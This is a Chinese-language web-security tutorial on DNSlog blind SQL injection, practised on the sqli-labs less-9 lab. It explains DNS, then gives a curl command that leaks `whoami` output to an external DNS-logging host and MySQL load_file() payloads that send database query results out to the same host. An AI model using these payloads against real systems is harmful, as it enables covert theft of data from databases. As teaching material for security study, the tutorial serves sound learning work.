美文网首页
一步一步学习 Web 安全 2.8 DNSlog 盲注

一步一步学习 Web 安全 2.8 DNSlog 盲注

作者: f1a94e9a1ea7 | 来源:发表于2020-05-25 19:50 被阅读0次

    原理

    可能有人对 DNSlog 比较陌生,先简单说一下 DNS,想深入了解的可以跳转到 DNS 原理入门 进行学习。

    DNS

    DNS 就是把域名转成 IP 地址。

    在我们访问服务器时,比如在浏览器输入:www.google.com,『www.google.com』被叫做域名,域名是为了方便人类记忆,每一个域名都对应一个 IP 地址,机器通过 IP 地址找到服务器。

    log

    log 是日志的意思,DNSlog 就是 DNS 解析过程中产生的一些记录,我们可以通过 log 制造显位。

    DNSlog

    DNSlog 盲注比其他盲注效率更高,不需要一遍遍根据真假判断,直接输入查询语句就可以获取数据,也不需要在页面上有显位。

    直接上手体验一下:
    打开 ceye ,注册账号后进入 http://ceye.io/profile, 复制 Identifier 那一行对应的地址,比如我的是:o0xqgs.ceye.io
    然后打开命令行使用 curl 命令:curl o0xqgs.ceye.io,可以看到返回了一个 json 对象,然后打开 http://ceye.io/records/dns,刷新一下,可以看到页面多了几条记录,就是我们刚刚那条命令所产生的。
    在地址前随便加上什么:curl dns.o0xqgs.ceye.io,再刷新页面,可以看到也显示在页面上了
    接着使用一条查询命令:`whoami`,这是一条查询当前用户的命令,命令行输入:curl `whoami`.o0xqgs.ceye.io,刷新页面,可以看到自己的用户名显示在前面,http://ceye.io/records/http 页面也可以看到
    这样我们就通过 DNSlog 拿到了数据

    DNSlog 盲注

    MySQL 中 load_file() 函数可以发起请求,把 SQL 查询语句像上面的 whoami 一样,做为请求的一部分发送,然后在 DNSlog 得到回显的数据:

    # abc 表示文件名,存不存在并没有关系,只要向你的地址发起请求即可
    load_file(concat('\\\\',(select database()),'.mysql.o0xqgs.ceye.io\\abc'))
    

    把 『select database()』替换成其他查询语句,就可以获取其他数据。
    需要注意的是,这些数据格式和内容都有限制,需要进行一些处理,比如不能出现『~、@、:』等一些特殊符号,而且这个请求函数只能在 Windows 操作系统上执行。

    练习

    sqli-labs 的 less-9:

    1. 注入判断
      url 后输入 id:?/id=1,页面返回:you are in
      输入:?id=1',页面返回:you are in
      输入:?id=1' and '1'='1,页面返回:you are in
      输入:?id=1' and '1'='2,页面返回:you are in
      不管什么情况页面返回的都是 you are in,不过这次不用时间盲注,用 DNSlog 盲注

    2. 获取数据
      输入:?id=1' and load_file(concat('\\',(select database()),'.o0xqgs.ceye.io\\abc')) --+
      刷新页面,可以看到当前数据库名显示出来了,把上面的 『select database()』换成前面章节获取数据的查询语句就可以获取到我们要的数据了。

    相关文章

      网友评论

          本文标题:一步一步学习 Web 安全 2.8 DNSlog 盲注

          本文链接:https://www.haomeiwen.com/subject/otsjahtx.html